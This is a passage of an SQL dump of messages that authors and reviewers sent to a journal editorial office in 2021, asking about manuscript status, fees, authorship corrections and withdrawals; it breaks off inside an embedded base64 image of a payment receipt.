paper&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>thanks&nbsp;</p>',48,3375,1,'2021-06-08 14:32:58',1),(812,'Reconsider the Manuscript for\npublication','<p>Dear Editorial team,</p>\r\n<p>I hereby request you to kindly re-consider the submission for manuscript publication.</p>\r\n<p>Please contact us for further information.</p>\r\n<p>Your time is appreciated.</p>\r\n<p>Thanks and Regards</p>',979,8194,1,'2021-06-11 10:08:07',1),(813,'Manuscript acknowledgment ','<p>Dear Editor, I sent a manuscript yesterday titled&nbsp;<strong>Bacteriology and Antimicrobial profile of Urinary Tract Infections in Adult Patients with Human Immunodeficiency Virus in a Nigerian\nTeaching Hospital.</strong></p>\r\n<p><strong>I am yet to recieve an acknowledgment mail. Should i resend the manuscript it?</strong></p>\r\n<p><strong>Regards,</strong></p>\r\n<p><strong>Nwafia IN</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p align=\"center\"><strong>&nbsp;</strong></p>',248,8589,1,'2021-06-13 10:19:38',1),(814,'STATUS OF MANUSCRIPT # ipjecs-21-7318','<p>Dear Editors of Journal of Eye &amp; Cataract Surgery,</p>\r\n<p>I emailed you regarding a retraction of my manuscript on March 17th, 2021 with no reply. I am emailing today to request an update on my manuscript and where it is in the publishing\nprocess.&nbsp;</p>\r\n<p>There has been no communication and no information regarding the manuscript in the portal.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Respectfully,</p>\r\n<p>Brooke Reeves</p>\r\n<p>brookdr@okstate.edu&nbsp;</p>',442,8593,1,'2021-06-13 16:22:53',1),(817,'Change the type of work to research','<p>Please the manuscript I submitted&nbsp;<span>ipacm-21-8898 is not a review. The manuscript is a research. Kindly change it to reflect so.</span></p>',248,8589,1,'2021-06-16 04:55:35',1),(829,'Gustavo Moreno','<pre id=\"tw-target-text\" class=\"tw-data-text tw-text-large XcVN5d tw-ta\" dir=\"ltr\" data-placeholder=\"Traducci&oacute;n\"><span class=\"Y2IQFc\" lang=\"en\">Good morning, cordial greetings, I am the author\nof the Tirofiban case report, I sent the document on May 26, and I received an email on June 17 where I said I would send it again and today I sent the document again of the document ipadm-21-8705\nnamed by you, I want to know if it already appears on the page, or if not, tell me an email address where to send the document. Well, all this delays the publication process, I appreciate a prompt\nresponse</span></pre>',274,9777,1,'2021-06-18 16:13:49',1),(830,'Information ','<p>Greetings?</p>\r\n<p>Dear Editorial, The manuscript number iprjpp-21-7141&nbsp;was sent to the research journal of plant pathology&nbsp; then you asked me the publication charges and I requested you the free\npublication. But&nbsp;Lambert Academic Publishing asked me this article for publication and I informed that as they get this article from the internet. What is going on? Please would you inform me the\nstatus of my manuscript?&nbsp;</p>\r\n<p>with regards</p>\r\n<p>Girma.</p>',835,8410,1,'2021-06-19 14:03:36',1),(832,'To request current status','<p>Dear Sir/Madam greetings for the day. Your jornal editor was accepted my paper to published on April but not published since. What is the resion behind? Please inform/confirm me about my status\nether publish nor published. Thank you for your cooperation.</p>\r\n<p>With kind regards,</p>\r\n<p>Cheru Kore(MPH, Author, PhD candidate)</p>',48,9247,1,'2021-06-21 06:26:51',1),(835,'APC Misunderstanding','<p>Good afternoon,</p>\r\n<p>&nbsp;</p>\r\n<p>I am emailing in regards to the case report that I was informed has been accepted as of yesterday. I was not aware of article processing charges and cannot afford to pay extensive fees to have this\ncase report published. Like the other main author on this paper, I am a medical student and am surviving on loan money for rent, food, etc. This whole process is completely new to me (I have not had\nanything published previously) and am continuing to learn the nuances of this publication process. This is upsetting to me as I was excited to recieve notification that the case report had been\naccepted. I am not sure what the next step is at this point and wanted to get in contact to discuss this situation.</p>\r\n<p><br />Thanks,</p>\r\n<p>Nick Wilde</p>',91,9866,1,'2021-06-23 20:42:44',1),(836,'Submission Status - ipjcnd-21-8794','<p><span>Dear Editors, I am writing to inquire on the status of my submission -&nbsp;</span>ipjcnd-21-8794.&nbsp; I had received an email June 11th notifiying me of the following \"We are glad to\ninform you that we reach final step of publication and kindly go through the attach invoice of your article&nbsp;<strong>\"Formula Switch Leads to Enteral Feeding Tolerance Improvements in Adults: A\nCase Series&rdquo;</strong>&nbsp;and complete payment of your article within 24 hours. after payment kindly let us know\" .&nbsp; This email contained a file with reviewer comments and an invoice to be\npaid.&nbsp;</p>\r\n<p>I am curious as to the status of the publication.&nbsp; I made the payment and have not received a paid invoice notice to date which is making me a little concerned.</p>\r\n<p>thank you for your time and attention,</p>\r\n<p>Bethany Hopkins</p>\r\n<p>&nbsp;</p>',181,9844,1,'2021-06-24 07:49:48',1),(837,'APC','<p>Dear Editor,</p>\r\n<p>Do you have invoice this manuscript to us..?</p>\r\n<p>Thank you,</p>\r\n<p>Edy Parwanto</p>',48,8175,1,'2021-06-24 13:49:09',1),(839,'Review reports','<p>Dear Dr</p>\r\n<p>Hope you are doing great!</p>\r\n<p>I have no access to relevant reviewers to accept my invitation. I\nwill give you my comments and you can pass them out to the author\nafter matching them with your comments.</p>\r\n<p>The present manuscript is out of my expertise and I have to reject\nit.</p>\r\n<p>Please send me the manuscripts that are falling to my interest and\nexpertise.</p>\r\n<p>Thank you for your time and consideration once again.</p>\r\n<p>Yours Sincerely</p>',570,1696,2,'2021-06-24 16:23:38',1),(840,'ipjnn-21-8208','<p>Dear editorial office,&nbsp;</p>\r\n<p>I was wondering if I could please get an estimate on when I can expect to recieve an outcome of my submission.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>kind regards,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Dr Jake Hindmarch&nbsp;</p>',75,9373,1,'2021-06-26 10:39:10',1),(841,'asking for progress of paper','<p>Dear editor?</p>\r\n<p>I would like to ask about the progress of my paper. I sent the original files of excel for tables and with the figures a couple of days ago by E-mail. I would also like to know about the finances\nfor publishing fees that I may have to pay, and how to pay. Many Thanks.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely, Dr. Weiyuan Cheng</p>',75,9222,1,'2021-06-27 08:40:18',1),(842,'About acceptance of the article','<p>Dear editor,&nbsp;</p>\r\n<p>There has been no response from your team about the acceptance of my article and the next process.</p>\r\n<p>I would be very grateful if you could inform me about this.</p>\r\n<p>Best regards</p>\r\n<p>Buket DALDABAN SARICA</p>',21,9356,1,'2021-06-28 08:51:00',1),(843,'Regarding review & publication of paper ','<p>Dear Sir/MAdam,</p>\r\n<p>&nbsp;</p>\r\n<p>I had submitted my article on 31st MAy 2021 . The article is still showing to be under review. If the reviewer can review &amp; provide me feedback earlier then the process of publishing it can be\nexpedited .&nbsp;</p>',523,9837,1,'2021-06-28 09:00:13',1),(844,'Letter to the editor','<p><span style=\"font-size: small;\">Dear Editor...</span></p>\r\n<p><span style=\"font-size: small;\">Hope you are doing well. First of all, I should thank you for the article approval and we are so interested to continue. But, we have just been informed that we need\nsome special permission and consent of our cooperators in France to publish the results before publication to any journal. Therefore, we are not allowerd to send the results until their approval. We\nare so embarrased to request you remove the article from the review list. I apologize and kindly request to drive out the article. We will be send back a new submission to the journal just after the\nauthors approval.</span></p>\r\n<p><span style=\"font-size: small;\">Sincerely yours...</span></p>',338,9951,1,'2021-06-28 12:59:32',1),(845,'Please help with adjustments in mistake\nin my paper. And I need the reprints.\nThe transaction was done.','<p><span>Dear Editor:</span></p>\r\n<div>&nbsp; &nbsp; &nbsp;The payment was done. But I would like to make sure that Dr. Wei-Yuan Cheng is the first author. And Dr. Ming-Hsueh Lee is the corresponding author. On page 6 of this paper,\nat the bottom over the right side, there is a mistake: \"Sheshadri et al. haveexecuted\". It should&nbsp;be \"Sheshadri et al.&nbsp;<strong>have executed</strong>\". The space was mitakenly emitted.\nPlease also help me adjust it.</div>\r\n<div>&nbsp; &nbsp; &nbsp;Also, I would like to ask for 5 reprints. These are for personal&nbsp;use and for promotion&nbsp;purposes. Please help me send to my real address. Many thanks.</div>\r\n<div>&nbsp;</div>\r\n<div>Sincerely, Dr. Wei-Yuan Cheng</div>',75,9222,1,'2021-06-29 07:52:08',1),(846,'Please help correcting the corresponding\nauthor: Dr. Ming-Hsueh Lee','<p>Dear editor:</p>\r\n<p>&nbsp; &nbsp; &nbsp;The corresponding author of this study is Dr. Ming-Hsueh Lee, and the first author is me, Dr. Wei-Yuan Cheng. My corresponding author, Dr. Lee, concerns about this issue. Please\ndo help me correct it. Many thanks!</p>\r\n<p>Sincerely, Dr. Wei-Yuan Cheng</p>',75,9222,1,'2021-06-29 12:15:27',1),(847,'Please help correct the following words\nin my paper','<p>Dear editor:<br /> Please also help me correct the following words in paragraphs:<br />1. At last paragraph of Introduction:<br />The goals of this study are to introduce the practicality of<br\n/>intraoperative CT-guided percutaneous celiac plexus neurolysis<br />(iCT-PCPN) and, subsequently, demonstrate the effectiveness<br />of decreasing Numeric Rating Scale (NRS) and <span\nstyle=\"text-decoration: underline;\"><em>post-operational</em></span><br />opioids use.</p>\r\n<p>It should be\"<strong>post-operative opioids use</strong>\".</p>\r\n<p>2. At the illustration of Fig 2.:<br />Using Kruskal-Wallis test and Wilcoxon rank-sum test, the NRS decrease has proven statistical significance. The<br />NRS decreased from median of 10 to 3<span\nstyle=\"text-decoration: underline;\"><em> on the 1stpost-operative day</em></span>.</p>\r\n<p>It should be \"<strong>on the 1st post-operative day</strong>\".</p>\r\n<p>There is a missing blank space.</p>\r\n<p>Please help correct it.</p>\r\n<p>Many thanks.</p>\r\n<p>Sincerely,<br /> Dr. Wei-Yuan Cheng</p>',75,9222,1,'2021-06-29 13:04:56',1),(850,'Status of paper','<p>Dear Sir /Madam</p>\r\n<p>Hi&nbsp;</p>\r\n<p>I hope through this message I find you well.&nbsp;</p>\r\n<p>Would you let me about the status of my paper , because it is some months that is under review.&nbsp;</p>\r\n<p>Best wishes&nbsp;</p>\r\n<p>Baqeri</p>',75,8936,1,'2021-07-01 04:22:51',1),(851,'Request for disposal of an articel','<p>Dear Editorial board,</p>\r\n<p>I would like to request you for disposal of our article. Thank you.</p>\r\n<p>Alica Hokynkova</p>',319,10090,1,'2021-07-01 14:47:12',1),(852,'Finding Reviewers','<p>Please, find me at least 3 reviewers to review this paper</p>\r\n<p>Thank you very much</p>\r\n<p>&nbsp;</p>\r\n<p>Prof. Dr. Osmar Antonio Centuri&oacute;n, MD, PhD, FACC, FAHA</p>',979,1238,2,'2021-07-01 19:42:29',1),(853,'Reviewers','<p>Please, find me at least 3 reviewers to review this paper</p>\r\n<p>Thank you very much</p>\r\n<p>&nbsp;</p>\r\n<p>Prof. Dr. Osmar Antonio Centuri&oacute;n, MD, PhD, FACC, FAHA</p>',979,1238,2,'2021-07-01 19:43:13',1),(854,'asking for progress of paper','<p>Dear Editor:</p>\r\n<p>&nbsp; &nbsp; &nbsp;I would like to ask for the progress of my paper. I have previously sent to you some adjustments of this paper, such as the corresponding author, and some trivial words\nmistakes. Please send me the adjusted document. Many thanks.</p>\r\n<p>Sincerely, Dr. Weiyuan Cheng</p>',75,9222,1,'2021-07-02 06:18:01',1),(856,'Copper Deficiency Review','<p>Dear Members of the Editorial Board,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>According to the previous mail contact, the authors paid the requiered publication fee one week ago. Could you please verify the receipt of the payment and inform us about the next steps in the\npublication process?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you very much</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards</p>\r\n<p>Patrick Hofmann, MD</p>',181,9904,1,'2021-07-05 19:24:35',1),(857,'please still help change the\n*corresponding author?Lee M.S.','<p>Dear editor?</p>\r\n<p>&nbsp; &nbsp; &nbsp;The corresponding author is Dr. Lee MS. On Page1 of my paper, it is still not changed. Besides, I found that the resolution of figures 2. 3. worse than previous version. Please\nhelp me fix it. Many thanks.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely, Dr. Wei-Yuan Cheng</p>',75,9222,1,'2021-07-06 01:46:16',1),(858,'Review Delayance','<p>Dear Editorial office of International joutnal of Applied Science - Research and Review</p>\r\n<p>I am writing this email due to the review delayance on the manuscript number: ipias-21-8963 Submitted to this Journal about three weeks ago.</p>\r\n<p>Let me know if any thing as problem related to the review delayance which will be very difficult for submitting to other journals after your delayance decision later on. Rejection after long time\nresponse and decision may impact&nbsp; the quality of data of the manuscript</p>\r\n<p>Regards</p>',309,9994,1,'2021-07-07 14:18:53',1),(859,'Copper Deficiency Review','<p>Dear Members of the Editorial board</p>\r\n<p>&nbsp;</p>\r\n<p>After submitting our invited Review article on Copper Deficiency and paying the requiered publication fee after having seen the reviewers comment, we are wondering, when our manuscript will be\nprocessed and published in your journal.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you very much for your reply.&nbsp;</p>\r\n<p>Kind regards,&nbsp;</p>\r\n<p>Patrick Hofmann, MD</p>',181,9904,1,'2021-07-07 20:11:35',1),(860,'asking for progress of paper','<p>Dear Editor:</p>\r\n<p>&nbsp; &nbsp; I would like to ask about my paper. I have asked for change of corresponding author: Dr. Lee MS. And I found that the resolution of figure 2, and 3 were worse than the previous\nversion. Kindly waiting for reply. Many thanks.</p>\r\n<p>Sincerely Dr. Wei-Yuan Cheng</p>',75,9222,1,'2021-07-08 02:25:33',1),(861,'Payment was done on 20210629','<p>Dear Editor:</p>\r\n<p>&nbsp; &nbsp; &nbsp;The payment was done on 20210629, as attached. Many thanks</p>\r\n<p>Sincerely, Dr. Wei-Yuan Cheng</p>\r\n<p><img\nsrc=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABpsAAAkmCAYAAACuGGa3AAAgAElEQVR4AezdS7LcNpYA0NqU1+FNeAteglbgFWgBtQDNNde4Jp5o5ggPOjrkcLvleB1Xbsh48AV/AKn8HEa8YiYJ4nMAZtn3mpn/erERIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQOCjwr4PXuYwAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIDAi2STRUCAAAECBAgQIECAAAECBAgQIECAAAECBAgQIHBYQLLpMJ0LCRAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIEJJusAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgcMCkk2H6VxIgAABAgQIECBAgAABAgQIECBAgAABAgQIECAg2WQNECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIHBZ4lWz6+eefX/wxsAasAWvAGrAGrAFrwBqwBqwBa8AasAasAWvAGrAGrAFrwBqwBqwBa8Aa2LoGJJsk2CQYrQFrwBqwBqwBa8AasAasAWvAGrAGrAFrwBqwBqwBa8AasAasAWvAGji8BiSbLJ7Di2drRlM52W9rwBqwBqwBa8AasAasAWvAGrAGrAFrwBqwBqwBa8AasAasAWvgcdeAZJNkk2STNWANWAPWgDVgDVgD1oA1YA1YA9aANWANWAPWgDVgDVgD1oA1YA1YA4fXwGKy6fAvQbmQAAECBAgQIECAAAECBAgQIECAAAECBAgQIEDgKQQkm55img2SAAECBAgQIECAAAECBAgQIECAAAECBAgQIHCOgGTTOa5qJUCAAAECBAgQIECAAAECBAgQIECAAAECBAg8hYBk01NMs0ESIECAAAECBAgQIECAAAECBAgQIECAAAECBM4RkGw6x1WtBAgQIECAAAECBAgQIECAAAECBAgQIECAAIGnEJBseoppNkgCBAgQIECAAAECBAgQIECAAAECBAgQIECAwDkCkk3nuKqVAAECBAgQIECAAAECBAgQIECAAAECBAgQIPAUApJNTzHNBkmAAAECBAgQIECAAAECBAgQIECAAAECBAgQOEdAsukcV7USIECAAAECBAgQIECAAAECBAgQIECAAAECBJ5CQLLpKabZIAkQIECAAAECBAgQIECAAAECBAgQIECAAAEC5whINp3jqlYCBAgQIECAAAECBAgQIECAAAECBAgQIECAwFMISDY9xTQbJAECBAgQIECAAAECBAgQIECAAAECBAgQIEDgHAHJpnNc1UqAAAECBAgQIECAAAECBAgQIECAAAECBAgQeAoByaanmGaDJECAAAECBAgQIECAAAECBAgQIECAAAECBAicIyDZdI6rWgkQIECAAAECBAgQIECAAAECBAgQIECAAAECTyEg2fQU02yQBAgQIECAAAECBAgQIECAAAECBAgQIECAAIFzBCSbznFVKwECBAgQIECAAAECBAgQIECAAAECBAgQIEDgKQQkm55img2SAAECBAgQIECAAAECBAgQIECAAAECBAgQIHCOgGTTOa5qJUCAAAECBAgQIECAAAECBAgQIECAAAECBAg8hYBk01NMs0ESIECAAAECBAgQIECAAAECBAgQIECAAAECBM4RkGw6x1WtBAgQIECAAAECBAgQIECAAAECBAgQIECAAIGnEJBseoppNkgCBAgQIECAAAECBAgQIECAAAECBAgQIECAwDkCkk3nuKqVAAECBAgQIECAAAECBAgQIECAAAECBAgQIPAUApJNTzHNBkmAAAECBAgQIECAAAECBAgQIECAAAECBAgQOEdAsukcV7USIECAAAECBAgQIECAAAECBAgQIECAAAECBJ5CQLLpKabZIAkQIECAAAECBAgQIECAAAECBAgQIECAAAEC5whINp3jqlYCBAgQIECAAAECBAgQIECAAAECBAgQIECAwFMISDY9xTQbJAECBAgQIECAAAECBAgQIECAAAECBAgQIEDgHAHJpnNc1UqAAAECBAgQIECAAAECBAgQIECAAAECBAgQeAoByaanmGaDJECAAAECBAgQIECAAAECBAgQIECAAAECBAicIyDZdI6rWgkQIECAAAECBAgQIECAAAECBAgQIECAAAECTyEg2fQU02yQBAgQIECAAAECBAgQIECAAAECBAgQIECAAIFzBCSbznFVKwECBAgQIECAAAECBAgQIECAAAECBAgQIEDgKQQkm55img2SAAECBAgQIECAAAECBAgQIECAAAECBAgQIHCOgGTTOa5qJUCAAAECBAgQIECAAAECBAgQIECAAAECBAg8hYBk01NMs0ESIECAAAECBAgQIECAAAECBAgQIECAAAECBM4RkGw6x1WtBAgQIECAAAECBAgQIECAAAECBAgQIECAAIGnEJBseoppNkgCBAgQIECAAAECBAgQIECAAAECBAgQIECAwDkCkk3nuKqVAAECBAgQIECAAAECBAgQIECAAAECBAgQIPAUApJNTzHNBkmAAAECBAgQIECAAAECBAgQIECAAAECBAgQOEdAsukcV7USIECAAAECBAgQIECAAAECBAgQIECAAAECBJ5CQLLpKabZIAkQIECAAAECBAgQIECAAAECBAgQIECAAAEC5whINp3jqlYCBAgQIECAAAECBAgQIECAAAECBAgQIECAwFMISDY9xTQbJAECBAgQIECAAAECBAgQIECAAAECBAgQIEDgHAHJpnNc1UqAAAECBAgQIECAAAECBAgQIECAAAECBAgQeAoByaanmGaDJECAAAECBAgQIECAAAECBAgQIECAAAECBAicIyDZdI6rWgkQIECAAAECBAgQIECAAAECBAgQIECAAAECTyEg2fQU02yQBAgQIECAAAECBAgQIECAAAECBAgQIECAAIFzBCSbznFVKwECBAgQIECAAAECBAgQIECAAAECBAgQIEDgKQQkm55img2SAAECBAgQIECAAAECBAgQIECAAAECBAgQIHCOgGTTOa5qJUCAAAECBAgQIECAAAECBAgQIECAAAECBAg8hYBk01NMs0ESIECAAAECBAgQIECAAAECBAgQIECAAAECBM4RkGw6x1WtBAgQIECAAAECBAgQIECAAAECBAgQIECAAIGnEJBseoppNkgCBAgQIECAAAECBAgQIECAAAECBAgQIECAwDkCkk3nuKqVAAECBAgQIECAAAECBAgQIECAAAECBAgQIPAUApJNTzHNBkmAAAECBAgQIECAAAECBAgQIECAAAECBAgQOEdAsukcV7USIECAAAECBAgQIECAAAECBAgQIECAAAECBJ5CQLLpgmn+17/+9TLy9+OPP6a9jOMj9fau/c9//pO2FwfjXO+6keO9MXY78sAnZhhnPDPqbef4u+++e4m5i7+ffvrp5d///veXNfLbb79lXXiIYzHG1mHP+1tf6zPWSRg9w/boa+EZ5tAYCRAgQIAAAQIECBAgQIAAAQIE5ghINs1xXKxlTyA6K9sLTsfxrPzosXfv3nXHMxpc7fWtN8ZuRx74xIxgf8Yzo97e/GXHY07fv3+fdeWuj43eA7e+1mesE8mm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